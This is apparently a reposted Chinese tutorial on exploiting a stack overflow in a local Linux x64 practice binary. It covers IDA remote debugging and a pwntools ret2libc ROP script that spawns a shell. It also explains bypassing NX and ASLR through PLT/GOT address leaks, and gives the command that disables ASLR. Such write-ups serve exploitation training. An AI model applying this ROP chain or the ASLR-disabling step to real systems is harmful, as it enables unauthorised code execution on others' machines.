1. 程式人生 > >linux漏洞分析入門筆記-棧溢位

linux漏洞分析入門筆記-棧溢位

ida7.0

ubuntu16.04 lts

0x00:環境配置

使用IDA遠端除錯Linux程式步驟如下:

1. 在進行遠端除錯之前需要對Linux平臺進行一些準備工作。在IDA的安裝目錄中的dbgsrv資料夾中,選擇linux_server或者linux_serverx64複製到需要除錯Linux程式所在的目錄下。將複製過來的檔案賦予執行許可權chmod 777 linux_server*。執行該檔案./linux_server或者./linux_server64。

2. 在IDA中選擇選單Debugger-Run-Remote Linux debugger。如圖。分別將程式所在位置,程式所在目錄,引數(沒有可不寫),主機IP,主機埠,點選OK。相對路徑路徑要填寫相對

linux_server或者linux_serverx64的相對路徑。

          圖1

          圖2

        圖3

3. 此時,下關鍵函式下好斷點後,即可進行動態除錯,如下圖:

        圖4

常用快捷鍵包括:

a. 單步步過:F8

b. 單步步入:F7

c. 執行到游標位置:F4

d. 設定斷點:F2

e. 順序執行:F9

0x01:漏洞簡介

1.一個簡單的linux x64平臺棧溢位漏洞,漏洞定位到vuln函式,如下圖:

        圖5

        圖6

        圖7

0x02.漏洞除錯

1.從上面彙編程式碼可以看出,進入該vuln後 sub rsp-0x40 ,堆疊開闢了0x40位元組空間,然後呼叫gets函式讀入資料到edi所指向的空間,edi此時實際上是等於rsp的指向棧頂的位置,gets函式讀入資料以換行符號為結束標誌,在遇到換行符號前,會讀取任意資料到棧裡,這樣當讀入超長字串後,就會覆蓋函式的返回地址,在該函式執行retn時就會可以返回到任意我們指定的地方去執行程式碼。產生緩衝溢位漏洞,下好斷點後開始動態除錯。

2.嘗試構造字元去覆蓋函式的返回地址,程式碼如下:

 1 from pwn import *
 2 import pdb
 3 context.log_level = '
debug' 4 target = process('./test') 5 elf=ELF('./test') 6 pdb.set_trace() 7 #poc 8 rop='A'*0x40# 9 rop+='B'*0x8# 10 rop+=p64(0x400763)#pop rdi ret 11 rop+=p64(0x7FFFF7B99D57)#/bin/sh 12 rop+=p64(0x7FFFF7A52390)#System 13 target.sendline(rop) 14 target.interactive()

程式碼執行後棧此時的情況如下:

        圖8

        圖9

後面用8個字元c就可以覆蓋返回地址了,函式返回時將會跳轉到cccccccc 指向的空間去執行,如圖9所示。

0x03:利用Ret2Lib突破NX保護

1.用checksec來檢查目標檔案進發現它開啟了NX保護,如圖10所示:

        圖10

2.NX就是將非程式碼段的地址空間設定成不可執行屬性,一旦系統從這些地址空間進行取指令時,CPU就是報記憶體違例異常,結束程序。棧空間也被作業系統設定了不可執行屬性,因此我們注入的Shellcode就無法執行了。

既然注入Shellcode無法執行,程序和動態庫的程式碼段怎麼也要執行吧,具有可執行屬性,那我們能否利用程序空間現有的程式碼段給合成想要的功能程式碼,答案是肯定的。

在系統函式庫(Linux稱為libc)有個system函式,它就是通過/bin/sh命令去執行一個使用者執行命令或者指令碼,我們完全可以利用system函式來實現Shellcode的功能。EIP改寫成system函式地址後,在執行system函式時,它需要獲取引數。而根據Linux X86 32位函式呼叫約定,引數是壓到棧上的。但是棧空間完全由我們控制了,所以控制system的函式不是一件難事情。

這種攻擊方法稱之為ret2libc,即return-to-libc,返回到系統庫函式執行的攻擊方法。

但是我們使用的環境是64bit系統,它和32位系統的一個區別就是system函式的引數傳遞方式。32位系統使用堆疊來傳參,在64位系統中使用RDI來傳遞引數,所以我們不僅需要控制系統棧,還需要控制RDI,這無疑給我們增加了許多難度,但是這並不是做不到的!

要獲得shell需要做如下步驟:

a. 獲取system函式的地址。

b. 獲取“/bin/sh”字串的地址。

c. 將RDI中的值,改成“/bin/sh”字串的地址。

3.所以Shellcode不能放在棧下來執行,因此我們就需用用到ROP技術來間接執行功能程式碼。

0x04:簡單ROP構造

1.由於目標程式有資料執行保護,所以我們往棧中的填充的資料並不能執行。所以在記憶體中程式碼最好找到類似“pop rdi, ret”這樣的語句,由於我們可以完全控制棧中的資料,所以我們就可以通過pop為rdi賦值,再通過ret指令跳轉到我們希望的地方。

但是很不幸,目標程式並沒有到這樣的指令,不過我們可以找到其它代替指令,圖11所示:

        圖11

pop rdi 的機器碼是 5f c3,然而 pop r15 的機器碼是 41 5f c3,而且一般pop r15之後一般都是緊跟ret指令。

所以我們就可以使用pop r15指令的後半部分,即 5f (pop rdi)。

2.由於系統開戶地址空間隨機化,我們先臨時通過echo 0 > /proc/sys/kernel/randomize_va_space關閉地址隨機化功能寫死地址進行測試。

3.最後構造後rop程式碼如下:

 1 from pwn import *
 2 import pdb
 3 context.log_level = 'debug'
 4 target = process('./test')
 5 elf=ELF('./test')
 6 pdb.set_trace()
 7 #poc
 8 rop='A'*0x40#
 9 rop+='B'*0x8#
10 rop+=p64(0x400763)#pop rdi ret
11 rop+=p64(0x7FFFF7B99D57)#/bin/sh address
12 rop+=p64(0x7FFFF7A52390)#System address
13 target.sendline(rop)
14 target.interactive()

4.執行poc後通過IDA除錯看看棧的情況如圖12所示:

        圖12

5.執行完後就可以正確獲得shell,如圖13所示:

        圖13

0x05:通過plt和got繞NX與ascii armoring

1. 上面這個poc成功執行得利於關閉ASLR,system函式和“/bin/sh”的地址才能固定下來。我們構造poc才方便很多。雖然目標程式編譯時預設沒有開啟ALSR,但程式使用的系統動態連結庫會受到ALSR的約束,每次重新啟動程式後,libc.so的地址會隨機生成。所以我們的poc就會失效,下面我們就來構造一個不受libc.so基地址隨機變化影響的poc。

2.通過return-to-plt來實現繞過libc.so基地址隨機化。

什麼是return-to-plt?

在這種技術中,而不是返回到libc函式(其地址是隨機的)攻擊者返回到一個函式的PLT(其地址不是隨機的、其地址在執行之前已知)。由於'[email protected]'不是隨機的,所以攻擊者不再需要預測libc的基地址,而是可以簡單地返回到“[email protected]”來呼叫“function”。

 

什麼是PLT,如何通過呼叫“[email protected]”來呼叫“函式”?

要了解過程連結表(PLT),先讓我簡要介紹一下共享庫!

與靜態庫不同,共享庫程式碼段在多個程序之間共享,而其資料段對於每個程序是唯一的。這有助於減少記憶體和磁碟空間。由於程式碼段在多個程序之間共享,所以應該只有read和execute許可權,因此動態連結器不能重新定位程式碼段中存在的資料符號或函式地址(因為它沒有寫許可權)。那麼動態連結如何在執行時重新定位共享庫符號而不修改其程式碼段?它使用PIC完成!

 

什麼是PIC?

位置無關程式碼(PIC)是為了解決這個問題而開發的 - 它確保共享庫程式碼段在多個程序之間共享,儘管在載入時執行重定位。PIC通過一級間接定址實現這一點-共享庫程式碼段不包含絕對虛擬地址來代替全域性符號和函式引用,而是指向資料段中的特定表。該表是全域性符號和函式絕對虛擬地址的佔位符。動態連結器作為重定位的一部分來填充此表。因此,只有重定位資料段被修改,程式碼段保持不變!

 

動態連結器以兩種不同的方式重新定位PIC中發現的全域性符號和函式,如下所述:

全域性偏移表(GOT):

 

全域性偏移表包含每個全域性變數的4位元組條目,其中4位元組條目包含全域性變數的地址。當代碼段中的指令引用全域性變數時,而不是全域性變數的絕對虛擬地址,指令指向GOT中條目。當載入共享庫時,GOT條目由動態連結器重新定位。因此,PIC使用該表來重新定位具有單個間接級別的全域性符號。

 

過程連結表(PLT): 過程連結表包含每個全域性函式的存根程式碼。程式碼段中的呼叫指令不直接呼叫函式('function'),而是呼叫存根程式碼(function @ PLT)。這個存根程式碼在動態連結器的幫助下解析了函式地址並將其複製到GOT(GOT [n])。這次解析僅在函式('function')的第一次呼叫期間發生,稍後當代碼段中的呼叫指令呼叫存根程式碼(function @PLT)時,而不是呼叫動態連結器來解析函式地址('function')存根程式碼直接從GOT(GOT [n])獲取功能地址並跳轉到它。因此,PIC使用這個表來重新定位具有兩級間接的功能地址。

        圖14

用ida反編譯目標程式後發現其中有printf,gets ,setvbuf,在記憶體這幾個函式的got表地址是固定的。從圖14可以看出在執行printf函式前,edi指向的是格式化串,rsi指向的是被列印串的地址。如果控制了rsi那麼我們就可以列印任何地址的內容。然後通過當前函式地址(gets) - system = 偏移地址 (兩個函式的相對偏移是固定的),得到一個固定的相對偏移地址,得到偏移地址後通過當前地址加上偏移得到system函式的記憶體地址,然後傳入’/bin/sh’,執行system就達到目的。

3.通過構造ROP獲得system函式地址,在目標程式中找到圖15程式碼。

        圖15

        圖16

看看printf_got_addr=0x600af0 這個資料裡面剛好有個0x0a,這個就是換行符號對應的記憶體值,因此在讀取0xf0後gets就結束讀取了,所以後面的就無法正常覆蓋了,我們得換一種方法來實現呼叫printf,就是將printf_got_addr=0x600af0地址拆開,然後在通過 call    qword ptr [r12+rbx*8] 來組合,只要沒有0x0a就行,最後執行後如圖16所示。執行完後再讓它返回到發生漏洞的函式中,再將構造rop來執行system,通過pop edi ret來實現,步驟和第4步相同。

執行後成功獲得shell,如圖17、18所示:

        圖17

        圖18

0x06:總結

1. Linux系統中對應用程式漏洞防護有三個:

SSP(Stack-Smashing Protectot):堆疊防溢位保護,它會在每個函式的棧幀底部新增一個隨機位元組,每次函式將要返回時,都會這個隨機位元組進行驗證,如果這個隨機位元組被篡改,則說明該棧幀發生資料溢位,報出異常,程式終止。在編譯時可以通過-fno-stack-protector選項取消這項保護。

NX(Never eXecute):資料執行保護,在64位系統的CPU中增加一位NX位,用來標示資料如果可寫就不可執行。在overflow這個程式中我們具有對棧資料寫的許可權,就沒有對棧資料可執行的許可權。

ASLR(Address Space Layout Randomization):地址空間隨機化,在每次程式載入執行的時候,堆疊資料的定位都會進行隨機化處理。由於每次程式執行時堆疊地址都會發生變化,所以無疑給溢位利用增加了很大的難度。可以通過這個命令

echo 0 > /proc/sys/kernel/randomize_va_space ,取消ASLR保護,然後方便驗證poc。最後通過plt方式過掉ASLR。